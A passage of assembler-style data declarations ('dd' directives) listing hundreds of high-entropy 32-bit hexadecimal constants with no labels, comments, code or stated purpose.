		dd 0FC22D64Dh, 39F4999Fh, 13B9BA05h, 442EA838h,	27FEBB55h
		dd 1FD848AEh, 5037723Eh, 0FDFEB95Fh, 6907C73Fh,	0A13D5DDBh
		dd 41E1D56h, 831AE64Ch,	0A734CF9h, 0A12A01ECh, 0BA2334B1h
		dd 2183D0DDh, 8F2681FFh, 767BEC82h, 0C23B1DABh,	0BD631432h
		dd 4BD6E88Ch, 0AA000847h, 4CAA8D68h, 2E477D2Ah,	57000016h
		dd 0B955A424h, 17E508F2h, 8423BB42h, 91083A3Eh,	0DBC8FEE0h
		dd 0C866807Fh, 0D531CBF8h, 9978BF79h, 92F520F4h, 0EDF25B23h
		dd 0B6FB73BCh, 0AE5ECC80h, 89A784E8h, 20C0841Ch, 5670EB58h
		dd 96962138h, 5E20A6DFh
		dd 61E7A182h, 0D83BC5B1h, 5317F9C3h, 0DCC735F5h, 6CF05337h
		dd 0C2F0F106h, 5FA206A3h, 6047EFB6h, 0F233067Eh, 870AF994h
		dd 59C9C08Ah, 0B8AD42Ah, 998369A5h, 0DF387BC2h,	6931CCEh
		dd 0DB485095h, 65AA6E50h, 0A003CF49h, 0AE0868FFh, 631E5B51h
		dd 0A8EB60AFh, 0F2D3A2DDh, 17D06064h, 0D6FD3527h, 7BA902B9h
		dd 745921BAh, 2421AD6Ah, 63F9A188h, 95B77762h, 0FD1EC8BBh
		dd 88CEB87Dh, 350C6740h, 0BAB8706Fh, 1FB1BF08h,	0C10B0CE9h
		dd 22F475CAh, 855DE465h, 683780Bh, 0E0ED5274h, 0D6375FEDh
		dd 94157FC9h, 2D00BE75h, 0F5AFA45Ah, 0BC6C92ECh, 0B3449BBAh
		dd 2899066Eh, 4B7D3B93h, 67240DA6h, 0E548F0E3h,	0C90F71F2h
		dd 7ADFEED4h, 7A98A785h, 3F62B626h, 0E4A4D0A0h,	0AB4D5945h
		dd 51FE96A1h, 408AEFDEh, 134B5AA0h, 8CA52696h, 0FD25FA2Bh
		dd 11AA9353h, 0AA26CE0Fh, 4658EF45h, 1DE5A2CCh,	9007FBDEh
		dd 0ADE558E2h, 89AF7A93h, 502F2DE7h, 77A24ED1h,	0B1D6A00Ah
		dd 52F7F378h, 22207DF8h, 0E94B8AEDh, 218DD8DBh,	6FA9B3E0h
		dd 0BEE5C435h, 160A5CB5h, 8FCD4C3Ah, 5D1A6E27h,	0CCE87E9Fh
		dd 0AAB8FEB4h, 0E203AD1Eh, 0F9EF2D94h, 91C1DD51h, 5E289755h
		dd 3246D565h, 4692CAE8h, 28964683h, 0DBD74B34h,	43EF8767h
		dd 3D747139h, 339D27BCh, 45DDBAA3h, 442D75D8h, 0C5F4767Dh
		dd 9F1AA30h, 2291A5E4h,	8614EB6Eh, 99EB5A62h, 657C608Bh
		dd 0AF54E104h, 81AE973Eh, 6473AA5Eh, 62E48C07h,	0B600C3B7h
		dd 0C1C06FD0h, 0EF2FD374h, 0EFDBA235h, 32AF89AEh, 2B7BBD1Dh
		dd 1ED891B2h, 0E6580D4Eh, 0A19EF2C7h, 0F534F7ABh, 0ABEBE115h
		dd 353F6DBh, 45651FD8h,	0ED6EBC41h, 452274E1h, 5ABF8AB4h
		dd 30FA2F9Bh, 822B5D9Ch, 0E94ABF80h, 0DCFE0779h, 789116A5h
		dd 343F72D9h, 21FD5F3h,	0EEC1569h, 0A0B35371h, 0C7814C9Bh
		dd 625C83E9h, 392B029Dh, 4DE5899Eh, 1C537377h, 1DDABB80h
		dd 0CA4A24A0h, 9646C19Dh, 8CDB0E9h, 2634A2ABh, 8AB1A57Bh
		dd 0DD068915h, 0FDE5744Ch, 0A37F9D3h, 63DE2AAh,	0CD495804h
		dd 0A0A077FAh, 24D5C4DDh, 3BFFA39Dh, 70935A7h, 0EE7D361Bh
		dd 0D519C948h, 23B39205h, 44D4D3B6h, 22B7163Eh,	0FFA9CE9h
		dd 81C8CB57h, 3841EAF0h, 0B5A32612h, 1F0FD3A0h,	5C585488h
		dd 7656472Eh, 0CB59F0DBh, 1FAF4329h, 0DBAAA90h,	0D1EA59FEh
		dd 869938ADh, 4C9E755Bh, 0F7114D7Fh, 0DF1FA360h, 0E471D558h
		dd 4A03B600h, 5BC7AB29h, 422F3290h, 4D322061h, 4CA84C3Bh
		dd 37858AA1h, 0BA152F53h, 3F50FA4Ch, 0EE09504Bh, 0C8A50FADh
		dd 0EECFE477h, 143D3F68h, 27EA99F8h, 614C10FBh,	31DD5F8Eh
		dd 7608E906h, 0C9AFAFA9h, 7F052833h, 492042EEh,	594AEA57h
		dd 32522928h, 0A6E72E31h, 352586A6h, 0DA10525Eh, 0BAF137B3h
		dd 2820BE65h, 345C3839h, 8A59AE0h, 991C56F5h, 0EEF0DA7Ah
		dd 24887B68h, 65BB5662h, 0E294D8A0h, 0A4285A73h, 0B63969Dh
		dd 0D87A0ED0h, 0E543202Eh, 8143C850h, 0D9ED8E0Ah, 0ABD6D2C7h
		dd 7B52C028h, 8A2EBFA0h, 5CF80F55h, 95315A19h, 8C634A66h
		dd 2375914Dh, 41B88C6Dh, 0F6669B9Eh, 15BCEBBEh,	0D73B3FA3h
		dd 0D62606A2h, 0F4DCE302h, 85E5F364h, 1139C234h, 0C8739B38h
		dd 20BA4114h, 24757682h, 28E5DF0Ah, 349A03D2h, 2EDBCBA8h
		dd 45D67E4Dh, 0F1E42516h, 0F2E07062h, 59A63A88h, 3F52B105h
		dd 1C8D5B8Bh, 56EA6537h, 70067D00h, 6E1343BAh, 0BA850F4Bh
		dd 3EEA1DAh, 0A526BC87h, 0AACFF387h, 0C0EEC17Ah, 0A1ABA3DDh
		dd 2A8EE3E8h, 0B3DF73B5h, 25D9AF78h, 86485147h,	0C6A54E5Ch
		dd 3B900755h, 2ABB5D02h, 99BFE207h, 0F7B98CE9h,	0DF64B7AAh
		dd 91833682h, 0DA44A5D7h, 0B6929A81h, 3FDBF3D6h, 478D2271h
		dd 2B41EB9Dh, 864619ADh, 77EC56DBh, 0D1EB24CBh,	0ECC54568h
		dd 34B128ECh, 0C4C9B40Ch, 13A0BE51h, 56F8E0DCh,	0F907A385h
		dd 0DDD1E5B0h, 0F36D7609h, 97C2485Fh, 4D1F8118h, 0A2C02A74h
		dd 989CF8B9h, 60007ABEh, 0D2BB8149h, 0EFB08975h, 4F7878Eh
		dd 0D1F1CBFBh, 0CF7EA817h, 6A089B81h, 509B01F9h, 9BFD7878h
		dd 0A3D5FC10h, 0C8082D00h, 208B514Eh, 93AEEF50h, 29200633h
		dd 9CF33D79h, 42140B72h, 862C0907h, 590C4A1Ah, 713C35EAh
		dd 78D4C7B4h, 502B1403h, 2CA06CB6h, 631B1EBBh, 0C2BBEC27h
		dd 0DC71B3ADh, 0C47CB1Eh, 0D95D75BAh, 0DE7049B4h, 33D7E1AFh
		dd 57AE6105h, 0A579E4D8h, 5CC021B5h, 274CFAA5h,	0BE90755Ah
		dd 0DA9E00F7h, 0AE84E9C5h, 39979D17h, 0CD306D01h, 25914F5Bh
		dd 231A0C72h, 0E4D77D54h, 9E993C26h, 7332ABECh,	0D2792AB3h
		dd 0ACA2C547h, 0D6114406h, 0A0CCA633h, 5EAAC236h, 0D904B14Ch
		dd 20F91C7Ch, 9C3A4908h, 9BAC801Ah, 0B985D4F7h,	1A9B62CBh
		dd 540F9EBCh, 0A29E7373h, 739F4B6Dh, 22126155h,	4B54B463h
		dd 7EB6DC7h, 0B914E703h, 86224343h, 85985B12h, 5D705648h
		dd 2C103F98h, 0A2D99ADCh, 2499E1AAh, 92C7B995h,	0C649723Eh
		dd 0A02D6AB4h, 5EE95FD2h, 12BD8FC8h, 9891797Dh,	6C86DC73h
		dd 0B89D1B83h, 53DE645Eh, 6368D4BEh, 57892184h,	5C1F18C4h
		dd 6DE34042h, 8AE9667Eh, 0E0E21C12h, 0B84287Fh,	29421F2Bh
		dd 0CDA33648h, 4C2DAEA1h, 9AF5CD52h, 3FBD1F52h,	5220524Eh
		dd 7F82FDD9h, 0C4E84A1h, 7547F27Ah, 0E4B43ABEh,	5E050BC7h
		dd 453DCC89h, 0DE1C9F42h, 0AE8B5076h, 0B161EA2Eh, 183AA0D8h
		dd 60ECBE67h, 0F99326CBh, 79788840h, 9B1023DAh,	9DB69835h
		dd 4FD86351h, 0D5B9649Bh, 509B39EAh, 3AE68768h,	0E357D879h
		dd 0E0E9DB95h, 7052B2A3h, 0AA8F3EE6h, 0F9BA99D2h, 39608386h
		dd 74E4D8E7h, 7C0A4304h, 8742919Fh, 0BE4F4ED1h,	0DCAF217Bh
		dd 272D3C66h, 6579C6BDh, 0FFBDAE02h, 0C9AE0FF7h, 59860BFh
		dd 1B370EA5h, 684B89AFh, 1E138857h, 9AA57231h, 5D069F0Bh
		dd 0C901E364h, 0BAF622CEh, 38E12486h, 7CE90FC6h, 6AA28065h
		dd 8EC2B57Fh, 796A050Dh, 0AA272F93h, 0D6EB23F5h, 0F01655A2h
		dd 0C9CF9BADh, 0DB2551C9h, 1F115D2Dh, 0E374F60Eh, 1D6F0E83h
		dd 2499A16Dh, 0DBCD11A8h, 0A9F695A9h, 54574552h, 25C5C432h
		dd 6B234E65h, 0D2E76C2h, 0DB017FB5h, 240DED3Eh,	3F3A9C51h
		dd 43B3AADBh, 98FA6B40h, 37A73123h, 5B5814A2h, 76DBEA53h
		dd 2FD42108h, 31863116h, 8EBE440Bh, 18C59A40h, 123A490Dh
		dd 1A9EE6BBh, 28A4DFC1h, 5DEF029Ch, 2D2E8E28h, 5503A1DAh
		dd 0B132659Ch, 0C2F0C5A6h, 60D67ACEh, 2F83FBh, 0FC7B47A9h
		dd 0D137C891h, 0B2AC19FCh, 42227953h, 0F54ABB4Fh, 0FB93209Ah
		dd 0C7D9AA7Bh, 560ABD6Ch, 0D5FF3B36h, 23540D13h, 0BA111369h
		dd 6B7EF2E4h, 0D9FAB57Bh, 8048E1A4h, 0F5B60472h, 443893E4h
		dd 5FCB0EF1h, 0DBDA32A8h, 71FB419Dh, 0A8F5AC38h, 0B189B399h
		dd 97D8A4B5h, 8B1A3A45h, 193436AFh, 956FB39Eh, 7FA5D76Ah
		dd 0D87940E7h, 0AAEB5B2Fh, 0BE1476B5h, 3DE907A2h, 14EACF9Dh
		dd 554D9BD6h, 7AD9F6C4h, 0E1B8FFC7h, 347B3AF0h,	71B4220Dh
		dd 53CC625Ch, 5CEB15D1h, 0C55C4758h, 640EE52Ah,	7D94231h
		dd 45D8F52Ah, 0B5AB5139h, 3688CF82h, 0EC11D801h, 638C9408h
		dd 69D2680Dh, 4DF2110h,	924F3F68h, 7DAEA782h, 0CEBD28D1h
		dd 8987BC53h, 517C42E4h, 0D55EBCEh, 0A2F3A747h,	0E4119E7Eh
		dd 60CE5200h, 898C6914h, 4777433Fh, 8E17518Ah, 0D2DCA37Ah
		dd 3B36AEC7h, 0BB4CA2B0h
		dd 998833D5h, 71F63387h, 6862A717h, 7FF420D6h, 9FC93B71h
		dd 0DB4348AEh, 4368E51Ah, 663216CFh, 0FF4B94B1h, 38A53783h
		dd 0A7B23776h, 0FE7FFB34h, 0F6DD927Eh, 0C494A850h, 675EB100h
		dd 9DD9E582h, 0DE26F0AFh, 4E0EEC2Fh, 1138FE48h,	773C32B6h
		dd 74E0BFF4h, 0DE5A9421h, 80DF00B9h, 9DD71E0Ah,	209218A0h
		dd 980FC065h, 95B141A8h, 62FCC6B4h, 9F406F10h, 54B02AB9h
		dd 0CC188BADh, 7DCD4479h, 0CC96C8C4h, 0B7ACF4DBh, 0EC49F535h
		dd 969BF0A7h, 71E5CC27h, 575BB80Bh, 0FE2DFB74h,	33E7CFA9h
		dd 971D6542h, 0F46B09BEh, 7121A3BAh, 0E15B010Eh, 24105C89h
		dd 0D4C6BEFh, 0DA48A4A0h, 5E4BC045h, 9CD55DA4h,	0B2D8AD16h
		dd 2F4B2EB4h, 0CF00C58Dh, 2DEFFEA1h, 734DB1FCh,	0FC353AECh
		dd 0B95E6344h, 71842793h, 0D8D19B06h, 1692F389h, 96B4ABFBh
		dd 0B57349A2h, 7CCEAF2h, 0AB9EC072h, 0C1A5D98Bh, 4C61D382h
		dd 6F5EC37Ah, 31E32B7Fh, 0E3F7EC3Fh, 95BD0803h,	0B162468Fh
		dd 4B6E319Fh, 0D2357A69h, 59088CB2h, 4DE62B46h,	693F2743h
		dd 5E707A31h, 0F078DCA6h, 443BB984h, 6D9547F9h,	9301073Ah
		dd 0C34FF150h, 0BD730CDDh, 0E225F09Ah, 4C093A61h, 2A22A5BCh
		dd 60805EF7h, 0ADE422E0h, 26629B6Eh, 0ED249F2Fh, 0D428BE92h
		dd 7D481680h, 0C9F272BFh, 86AB65A8h, 97A17645h,	1B5D77A5h
		dd 0D5DA4C73h, 9EEEE91Dh, 6137A327h, 0CC8A7134h, 8131564Eh
		dd 0F875810Bh, 8108F947h, 4D57BE61h, 3C7741E8h,	3805617Fh
		dd 2CCBE572h, 0EFD2F0C4h, 0E0DB1ED8h, 0C653296Dh, 0EDC3C60Eh
		dd 9BC1E762h, 0F5520466h, 9754A066h, 274C9BBBh,	0DB7F5D48h
		dd 76B182C5h, 0C7FC0830h, 8B607BE3h, 0AD5DC304h, 0A647B5FDh
		dd 0FB9ED47Ah, 470474CCh, 0A9B6EEC8h, 56738059h, 65B14B4Dh
		dd 0A634183Fh, 18CCB0Fh, 4DF34A54h, 0A670AE0Ah,	8AEB66A0h
		dd 4376B7DBh, 0B0748351h, 0F57F8231h, 0AA879180h, 61BE9144h
		dd 3BF67F1Ah, 46D0FF1Ah, 916740E6h, 42511BE6h, 21D319CEh
		dd 970FB1D0h, 218592D4h, 0EBB78935h, 44F87AF9h,	0E67E6174h
		dd 0E6985C4Eh, 0C1DFC7BDh, 40644512h, 2F3A8E1Bh, 0D8CA9761h
		dd 91565694h, 0BB334A24h, 0D65024B9h, 0A523EEFCh, 1CE6CE51h
		dd 0C782A71Eh, 36994F36h, 0D896762h, 29535B1Fh,	0C84B552Bh
		dd 0FF42CC32h, 696C21Ch, 34FB6904h, 0F2EB66D7h,	28DE781Ah
		dd 0FC4681CFh, 6B9FD44Ah, 0BB17DFADh, 0D3F66CC4h, 9B8C04ADh
		dd 8CF9BBBAh, 3C2BC3F5h, 65D7BE5Dh, 38005CEFh, 0F29A4FA9h
		dd 5E3E5EBCh, 0CFEC8FDCh, 52E795h, 747F5BA5h, 6182FE7Ah
		dd 66921524h, 4EB9209Fh, 0BAEA2831h, 0F8A58E63h, 2624CD27h
		dd 1DAB11F2h, 3A893368h, 8B73F0Ch, 0A6B8287h, 0A2B4DB8Ah
		dd 1E3BBAA8h, 610E8E84h, 3F04DB4Ah, 55E0706Fh, 83DD2DCAh
		dd 7A7F1001h, 3A918C3Eh, 92BBCBF8h, 0A8C00D6Fh,	0B19EE3EBh
		dd 9448A4B5h, 2F8976F2h, 53F018C8h, 4C87F4F7h, 224D819Ah
		dd 26B1B6B2h, 5BAE843Ch, 88BEBF48h, 0F3AB035Ah,	0CC9BE9D0h
		dd 0FB24C7A5h, 1D2DB059h, 0DB14661Bh, 0BB51BAE2h, 249EA409h
		dd 0B3512E11h, 27C6157Ah, 1F9EAF0h, 0C2362540h,	0E27A4C74h
		dd 0F750F675h, 7C704603h, 9A5B5DC7h, 0E3B4A2F8h, 4D89BDC4h
		dd 618FE399h, 131EDE73h, 0C599FA95h, 6CC960F1h,	2778CEC0h
		dd 0E87B54DBh, 4B6F3EA8h, 8D43033Dh, 0E1812A1Ah, 870C38DCh
		dd 14A443D9h, 0A74002CAh, 5A1AF7C5h, 6044AF29h,	0B1727A03h
		dd 0CAD2AF6Fh, 0C80946BEh, 69D54DF0h, 0D81E437Ch, 0BC9FD692h
		dd 0C4B27374h, 1C21B95Ch, 0C7CE4544h, 47BA8CCCh, 0C17336A8h
		dd 0F8DA436Ah, 7C6A381Fh, 0DF7BE689h, 0D9008219h, 481F2C7Eh
		dd 0C7D803ADh, 0A983FB2Bh, 32C3CA33h, 0F23F89B2h, 241610F0h
		dd 6878A5C5h, 0B6A403D6h, 0DBEA696Dh, 583D9DD8h, 0B09F893Eh
		dd 4F4864CEh, 5A43FEA8h, 40A900CAh, 98EBC23Fh, 2BC932ABh
		dd 9CDE7215h, 45CDB6BFh, 98F0CCD2h, 0D90BFE69h,	74DC2996h
		dd 868044ABh, 629630C6h, 5C4B65E8h, 0DE3CAA02h,	0E9D8D611h
		dd 7ED4CFEFh, 49A2D6CBh, 2574CC61h, 88D6CB78h, 1EBAD083h
		dd 6923EE19h, 0D551D697h, 3AF3C9DFh, 0B915CCFBh, 733FBD2h
		dd 0E2BF433Ch, 2F9B5349h, 3D1C990h, 0EF6333A5h,	6CFE0FF1h
		dd 0C55261C4h, 3416286Bh, 268DDC62h, 95A4B2EFh,	0D3985FE6h
		dd 69C0C698h, 6F3D9728h, 11829736h, 0B4626B8Bh,	0D992C4Ch
		dd 6AE7AFBDh, 0AF7B3568h, 148B39AEh, 96250C27h,	449775C2h
		dd 98C1E500h, 3B751407h, 0A200AB94h, 92B83229h,	0FFECC98h
		dd 84C44D4Eh, 649B7579h, 0DC949E53h, 8FEF2FF5h,	4795B710h
		dd 0B400CAF9h, 92B3B644h, 9D1DC63Fh, 66D5D1D0h,	5BB6C7BAh
		dd 0FA9135B5h, 634EB50Ch, 0F66CBB4Dh, 4B66478Fh, 0DE01B928h
		dd 4AC4351Bh, 5D5BFAFCh, 0BE0623h, 73FA2D6Ch, 0F29EE92Dh
		dd 0E992DE5Fh, 0B54E2392h, 24641482h, 0A01C8A4Fh, 0AD2B5564h
		dd 0F3F20195h, 5A933FA8h, 4F68EA3Ch, 0E903941Bh, 0EB6CD76Eh
		dd 3C623A73h, 0A45CF023h, 6E80EE44h, 3C71EBE4h,	77B17EDAh
		dd 1A698221h, 441B8D79h, 0B77C054Bh, 0C616AD1h,	7511EE85h
		dd 7D408B23h, 0D6703858h, 9D679033h, 84A4C284h,	67050B34h
		dd 0FDF215CEh, 1E7ADEE0h, 752F688Dh, 6E26EDCCh,	8AC999DCh
		dd 0BBC94D19h, 1DA5FED2h, 11D536BEh, 0ED461FEAh, 1B7CA66Ch
		dd 70C7FF13h, 39EFA942h, 14AB4672h, 0B046617Bh,	50A7C587h
		dd 87FD98F1h, 42BE8374h, 27FD211Ah, 1BA2573Eh, 6ED0AB35h
		dd 0FC9661FEh, 0BE552A8Fh, 0DB7B65B8h, 0F118340h, 76CDC531h
		dd 0D50668E6h, 69B39B27h, 0E8A51CA0h, 0FAF0C221h, 1044B090h
		dd 0DC8274FDh, 0D4BE8512h, 77399859h, 33525ACCh, 4E79B036h
		dd 0F74421BEh, 75DEEAABh, 39FCBEE7h, 7AFF9A9Eh,	8B26D6F5h
		dd 0BB5FF679h, 0C79E7616h, 0E54EDEACh, 1FB7E7ADh, 9623936Eh
		dd 5A9B2B97h, 0BD8D195Eh, 1DABEC7h, 451D101Bh, 32BF8126h
		dd 48DA9275h, 0E0AD2A45h, 0A1C2419Eh, 7DDEFCE6h, 0B560AC3Ch
		dd 102186D1h, 63A5754Dh, 320576FAh, 1D3015A8h, 19201C62h
		dd 536301C8h, 1295A46Dh, 0A4BBE280h, 0B9C66F67h, 114E7AA0h
		dd 0A864A962h, 0DCCD392Bh, 7E39DB69h, 6D2CF43Bh, 0AC2009ACh
		dd 0C628B2C0h, 0A058470h, 57FEAB58h, 20F60023h,	0F4BD3E90h
		dd 7876B84Ah, 0BA8C8091h, 357A746Dh, 944BDB3h, 6C605659h
		dd 18D66D20h, 79E1FEB2h, 86883E40h, 4C92562Bh, 5604DDBDh
		dd 0EE9E9CD1h, 0AD74F1CDh, 2B952B88h, 3E08AC0Fh, 0FE90F63Bh
		dd 152D0F3Ch, 0A54B5255h, 8E32458Eh, 1F17D20Eh,	31AB4C1Ah
		dd 0C94DB19Dh, 118A9016h, 375B0BADh, 680DEBCDh,	87E30145h
		dd 0D5D089Fh, 8FF5F813h, 614CF0FEh, 74B9F4B1h, 0DB7F9186h
		dd 0A95E8C6Ah, 51F7932Ch, 8A2275DCh, 90888A06h,	731E60F7h
		dd 7FCDBB0Ah, 0DE891629h, 0F2776140h, 0BE78A7AAh, 6094D48Ah
		dd 0C28771D0h, 0FD2FADA2h, 0E78EEC3Eh, 5F3D69F1h, 94385811h
		dd 61CEEEECh, 0B0694D62h, 0C40D58F0h, 0EC4AB4DDh, 82173Eh
		dd 0F9A905CBh, 592DB960h, 92B9DFD2h, 8197ACCCh,	8BB36BB7h
		dd 0D6962921h, 6E9D9A4Bh, 0CD02883Dh, 0EE166851h, 4F757E76h
		dd 2D35DC46h, 5D385FD8h, 0A6F16617h, 59149DCCh,	25E6AE5Bh
		dd 527F87EAh, 8D7E642Ch, 554A0E8Bh, 428AE7C9h, 22DEED87h
		dd 3B2D0056h, 0BF7192A9h, 9A460D2Fh, 0D2963991h, 0BBC25825h
		dd 517D3952h, 1DFD6176h
		dd 190B6090h, 27721189h, 23CEC4FFh, 42263B3Ch, 0F254A45Ah
		dd 3F26B96Ah, 9D412E75h, 8158C9D1h, 81F4026h, 5033C124h
		dd 5179021Bh, 0C60CC496h, 772BCA9Dh, 0C44726CBh, 0EF970E72h
		dd 0D67B2903h, 1D349722h, 71B6B7DBh, 7A1C5E55h,	6981043Fh
		dd 0CC79F388h, 9BD7E92Eh, 2A9BDAA5h, 0B78D5759h, 63E51A39h
		dd 0E347391Eh, 4FA586h,	0E833F860h, 2DF80864h, 0C7207861h
		dd 8DF022BFh, 824D7755h, 24E32350h, 405A36F7h, 0D1381717h
		dd 0F53807DDh, 0D8CD1758h, 0AF6FFCBh, 7A2C3223h, 4F8E561Fh
		dd 0F24C952Fh, 6D6E2E7h, 8F5F32C5h, 32C2353Ah, 50014BF0h
		dd 385926E9h, 4ADFABC4h, 168A0BA9h, 9340CF4Eh, 3A2D0BCFh
		dd 0C74756C5h, 0DD9C785Bh, 4FE3062Dh, 4DD62D30h, 8BBEF6F0h
		dd 690B6F27h, 49385561h, 9E75C2EFh, 90C56597h, 8398A276h
		dd 0EC0F37Ah, 0C50CC190h, 7536EA32h, 0FF51C540h, 9A9AD14Ah
		dd 461217E1h, 4759090Fh, 0C5A79A1Fh, 52C517F0h,	0BDBD717Dh
		dd 0BF325496h, 258844F4h, 0DEDBD34Dh, 8D534D0h,	0C4F76737h
		dd 0CA69B76Dh, 9457F4A6h, 99707D41h, 2863284h, 1760BC81h
		dd 506BCFEAh, 703F0CC4h, 0E252D87Eh, 20C0D193h,	0B919EE66h
		dd 612D2F9Fh, 91280D13h, 2C85F7B1h, 5D07BD6Fh, 29E9AB30h
		dd 92B1A91Bh, 87C90194h, 0CB1FFCEEh, 0D7B02AB2h, 0B17C0596h
		dd 6CBF517Eh, 2344E06Bh, 0BD0F8161h, 574510D0h,	25A5CE2Bh
		dd 0A145CBA3h, 136915D6h, 8A347B1Dh, 3A9C17C4h,	0E81B3B5Ch
		dd 2B50A754h, 75F41E48h, 28CBC607h, 8B0051D4h, 30FF6789h
		dd 0B2F14989h, 16BDB303h, 6BB558F2h, 3E7BFD3Ah,	492EB3D7h
		dd 40EEB01Bh, 9A098003h, 37DD5356h, 5C54F3FCh, 5198A1D4h
		dd 779B9BB4h, 0E430AF08h, 2D504140h, 2B251BB1h,	25914750h
		dd 5604FD92h, 0EF1EE58Bh, 7D19A81Fh, 0FFA09AAEh, 594BFB0Ah
		dd 3901AE61h, 705EF89Dh, 0FF4E77A0h, 0BED67D23h, 514814C2h
		dd 0B3DD9D4Eh, 4BB1B9D5h, 0EE047745h, 0DF9AEDEh, 0B03B977Fh
		dd 207C3F5Eh, 3A80242Fh, 545A159Bh, 16AF6697h, 349AB22Bh
		dd 0ECE19176h, 712CB6F0h, 0D22B6540h, 0F2AC3BCCh, 18576604h
		dd 6A7DD8C5h, 7A71915Bh, 4C906A32h, 8023013h, 1BB7E133h
		dd 190CFE17h, 50D5654Ah, 0C1E7646Ch, 0E1478085h, 0B44C2235h
		dd 0ECDA680Eh, 0C479D813h, 0F5A08D30h, 58C35E5Bh, 0F0AFECB5h
		dd 2827FA2Bh, 96923D95h, 2D1C3739h, 16B0F433h, 6FBAC841h
		dd 0CA686016h, 7F72F5A3h, 6FCB2A90h, 0A9C3FE52h, 0F6CC0598h
		dd 779E0FD7h, 0ECCC8CF0h, 0AAE3DFA9h, 81BD83FEh, 58E56C51h
		dd 0E7BDB23h, 0BA522B13h, 72F59AC8h, 41E519C2h,	0D36B5EEEh
		dd 6A744FA9h, 41761DADh, 29399145h, 3CB35C99h, 0FA1AC13Ah
		dd 54B6588Ah, 9E211A5h,	80740FC2h, 157A7D6Bh, 0EF7ED74Ah
		dd 0B9BA5289h, 0C38FB3E3h, 0DD497C42h, 1E2B3100h, 0C8BC0D4Ch
		dd 0BDC43F2Dh, 591DC434h, 0E8C7F665h, 0C841EA9Ah, 0E243841Fh
		dd 0F5440DFDh, 0CB815B16h, 7F147BF5h, 0CAB8A984h, 0EE2B7124h
		dd 75A3C22Eh, 3E11311Dh, 0D51A6FB4h, 0E149DCCFh, 7BA2A19Fh
		dd 5F29861Ah, 59D5D3E6h, 366FCC7Fh, 22E4BAC5h, 7104DED2h
		dd 0DC0D39F0h, 3FA8BDF0h, 6778F4h, 0E097D726h, 0F5CBDD3Fh
		dd 753EC074h, 0D855AFB9h, 0EDBF26E2h, 0B53069A8h, 73EB4255h
		dd 30E542AEh, 0ACF4301Bh, 7B5F5914h, 97D0A718h,	4859A545h
		dd 63F6C832h, 0A3A76E21h, 0B01B9663h, 20282h, 0E303E71Dh
		dd 8B3795DCh, 0A66F911Dh, 17B1A087h, 2CD989BCh,	0B558F790h
		dd 9EA93644h, 6F46CC6Ch, 0B796D563h, 0B375DB36h, 4A058E04h
		dd 46A5D478h, 3540A84h,	67722396h, 44284DD6h, 2966A909h
		dd 0BEE49D14h, 57DB9895h, 58A95Dh, 4019A816h, 0C11D2B02h
		dd 0ACB82492h, 17C3B26Ah, 156197C8h, 3D2B8FE9h,	2A937C26h
		dd 893BAECAh, 4F4FB06Dh, 0C378F15Bh, 0DE62BAA3h, 311CD671h
		dd 76A925AAh, 0DA73CAA5h, 0B0C594FCh, 374CB57Bh, 0C75C5EA7h
		dd 12D41E82h, 2F9ACDDh,	0AA680840h, 5719C223h, 577F9C42h
		dd 0F4F3A163h, 9B65CD93h, 56F29156h, 0C1451521h, 61D05BDAh
		dd 0C21A7326h, 0F5034394h, 3B554589h, 33E4657Ah, 0A351291Ah
		dd 0E3DC6B85h, 0CC15E589h, 942A37A0h, 72896C94h, 0A6FCCBFCh
		dd 0BD503E13h, 7660CFD4h, 144A8C2Dh, 0ECE3C456h, 1C8F561Eh
		dd 62D8AA50h, 4D07AEA6h, 899B9FE0h, 62670058h, 0BDAA4E19h
		dd 369D9784h, 721371A2h, 1053E21Bh, 0F8AC4C3Ah,	995C5A9Ah
		dd 55487692h, 96E3C701h, 52CFBA5Bh, 0FE2D33B0h,	8D9D7DF0h
		dd 18FD4713h, 5D1627F2h, 0CA975EC3h, 0A00772EEh, 1DF78BA6h
		dd 0B7D518E6h, 0CAD3DC50h, 7F54B597h, 0E12EEA3Eh, 230BA5D7h
		dd 6BED1256h, 991A8C7Ch, 0D7A1C764h, 8F121B88h,	0D95345A5h
		dd 12B68193h, 53C987E2h, 284F05Bh, 8395D8ABh, 0B8350CA5h
		dd 3BA9F8A4h, 0A7AFE4DAh, 855A5F19h, 0BE5AB95Eh, 80DD79C7h
		dd 0A811EB25h, 9B1ED23Fh, 4F6DE80Ch, 0DDEE439Fh, 37DF9D9Eh
		dd 0AA4E3890h, 7B07707Eh, 4A6D159Fh, 0E4F9E844h, 8A7A04Ah
		dd 23597A1Ch, 0DFE94D2Fh, 240B89ACh, 63A63B43h,	730E2565h
		dd 7F298BFCh, 17461A04h, 0D5DE04FAh, 6D90F7CAh,	59DFB086h
		dd 392EDDBDh, 0D4C1A1F2h, 0C730B5A3h, 0C4D260B0h, 91742625h
		dd 0E0D259FCh, 96E2362Bh, 0EB26C968h, 2E254598h, 0DEA6E302h
		dd 14909FFDh, 10D3AA89h, 0A411D690h, 52AB8155h,	21A03007h
		dd 5BEAD21Dh, 686D468Bh, 87D62652h, 5FA55858h, 0AC24D31Ah
		dd 3E59C87Ah, 65B39ECEh, 58188FBDh, 0F8AB4606h,	0A8A89D50h
		dd 0A39B1E4h, 9106B37Ch, 0ACEDE725h, 0D6D9D273h, 0E788FF69h
		dd 7BECC584h, 94B0ECE4h, 3679FFA7h, 8F6DC6F5h, 2A565F91h
		dd 1020D695h, 3D3AAD09h, 10683CC7h, 0D80ECEE4h,	0FEBA1F7h
		dd 0DCB70777h, 0EBB94290h, 0D331386Bh, 0DCD37D7Bh, 0E082DE4Ah
		dd 1A00DF84h, 0EE06BFA0h, 73B84A52h, 588A1A6Dh,	0F0B0049Bh
		dd 5456AFEAh, 6810D006h, 0FC6E7E45h, 0A284A8C8h, 0CF08824Bh
		dd 7971D174h, 0D954E423h, 0A5DDB558h, 99E6B923h, 156960E6h
		dd 967D60E2h, 10899EB3h, 8EFDFA91h, 7A84A802h, 3C70DF44h
		dd 0A48CF2CCh, 147C2BDh, 202CCA15h, 2B7C06F5h, 7DEF3F1Fh
		dd 0F5415B47h, 0A6D443B0h, 0EDBDA3F0h, 0D1F34FB7h, 85E48640h
		dd 0A9D68262h, 198CDCh,	7F32B07h, 24D86967h, 2E858B6Dh
		dd 0DDFB7FCBh, 0FAF60114h, 0EDFE0548h, 0D6D67023h, 0DC4248D2h
		dd 12994294h, 0C9B1ACFFh, 73F090F4h, 2F2C3CF7h,	0D649809Fh
		dd 0C601C975h, 0D4C57F19h, 829BAE4Fh, 0B1809FDh, 5950D70Fh
